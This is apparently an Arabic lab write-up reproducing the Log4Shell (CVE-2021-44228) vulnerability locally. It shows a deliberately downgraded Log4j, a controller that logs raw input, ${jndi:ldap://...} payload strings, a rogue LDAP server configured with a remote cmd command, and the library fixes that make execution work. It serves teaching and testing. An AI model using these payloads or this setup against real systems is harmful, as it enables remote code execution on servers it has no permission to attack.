
اختبار ثغرة Log4j2 LDAP (CVE-2021-44228)
🎈 تم الاختبار في بيئة Spring Boot 2.x
pom.xml : تخفيض إصدار Log4j2 إلى الإصدار الضعيف
<properties>
<java.version>17</java.version>
<!-- نظرًا لأن إصدار Spring Boot الحالي يحتوي على إصدار log4j أعلى من 2.14.1 الذي توجد به الثغرة، فإننا نخفض الإصدار عمدًا. -->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController : إضافة طريقة وحدة تحكم تقوم بتسجيل إدخال المستخدم مباشرة
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "لم يحدث استثناء");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "حدث استثناء: " + e.getMessage());
}
return "redirect:/";
}
تشغيل المتصفح

عند إرسال السلسلة ${jndi:ldap://127.0.0.1:19090/run} إلى الخادم فعليًا، يحاول الخادم الاتصال بـ 127.0.0.1:19090.
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
نظرًا لعدم تشغيل خادم LDAP على المنفذ 19090 محليًا، يتم تسجيل خطأ استثناء Connection refused: connect.
في الكود LOGGER.info("{}", ldapString);، لم يتم إلقاء استثناء خطأ JNDI.
تم التحقيق في الأجزاء المتعلقة بـ Tomcat فقط من هذا الكود https://github.com/veracode-research/rogue-jndi وتم تكوينه كمشروع Spring Boot بسيط.
سبب التحقيق في الأجزاء المتعلقة بـ Tomcat فقط هو...
نظرًا لأن الخادم المستهدف للاختبار يعتمد على Tomcat المدمج في Spring Boot، فقد بدا أن التحقيق في Tomcat فقط سيكون كافيًا للتحقق من عمل الثغرة، لذلك تم إجراء ذلك.
إعداد الأمر
كان الأمر بسيطًا جدًا لإجراء آلة حاسبة فقط، لذلك جربت تجميع أوامر cmd.
ldapserver-config.properties
# محتوى لتسجيل إصدار نظام التشغيل Windows للخادم الهدف في ملف نصي ثم فتحه باستخدام Notepad
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
عند التجربة الفعلية، كان من الممكن حقًا تنفيذ الملف التنفيذي عن بُعد على الخادم الهدف للاختبار. طريقة التحقق هي كما يلي:
تشغيل خادم ldap-server وخادم target-server
# تشغيل خادم LDAP
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# تشغيل الخادم الهدف للاختبار
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
إرسال السلسلة ${jndi:ldap://127.0.0.1:19090/o=tomcat} إلى الخادم الهدف للاختبار ثم التحقق

تم إنشاء ملف test.txt في جذر مشروع target-server وتم فتحه عبر Notepad.
يتم استخدام Nashorn، وهو تطبيق JavaScript في Java، لإنشاء الحمولة (Payload) المرسلة إلى Tomcat الهدف، ولكن تمت إزالة Nashorn بالكامل بدءًا من Java 15. لذلك، على الرغم من أن خادم ldap أرسل الأمر إلى Tomcat الهدف، إلا أن الأمر لم يتم تنفيذه.
في هذه الحالة، كان يكفي إضافة إما nashorn-core أو rhino-engine كمكتبة إلى خادم Tomcat الهدف.
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
لتسهيل إدارة الإصدارات، قمت بتعديل pom.xml إلى علاقة أب-ابن، ويمكن تشغيله من الدليل الذي يحتوي على pom الأب كما يلي.
# اختبار كامل
$ mvnw clean test
# نظرًا لعدم التشغيل في الخلفية، يجب تشغيل كل منهما في نافذة وحدة تحكم منفصلة
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# يمكن أيضًا الدخول مباشرة إلى دليل المشروع الفرعي وتشغيله
$ cd target-server
$ mvnw clean spring-boot:run
هذا البرنامج مقدم فقط للأغراض التعليمية و/أو لاختبار الأنظمة التي سمح المستخدم بالهجوم عليها مسبقًا.
(تم إضافة هذا النص أيضًا إلى rogue-jndi، لذا قمت بإضافته تبعًا. 😓)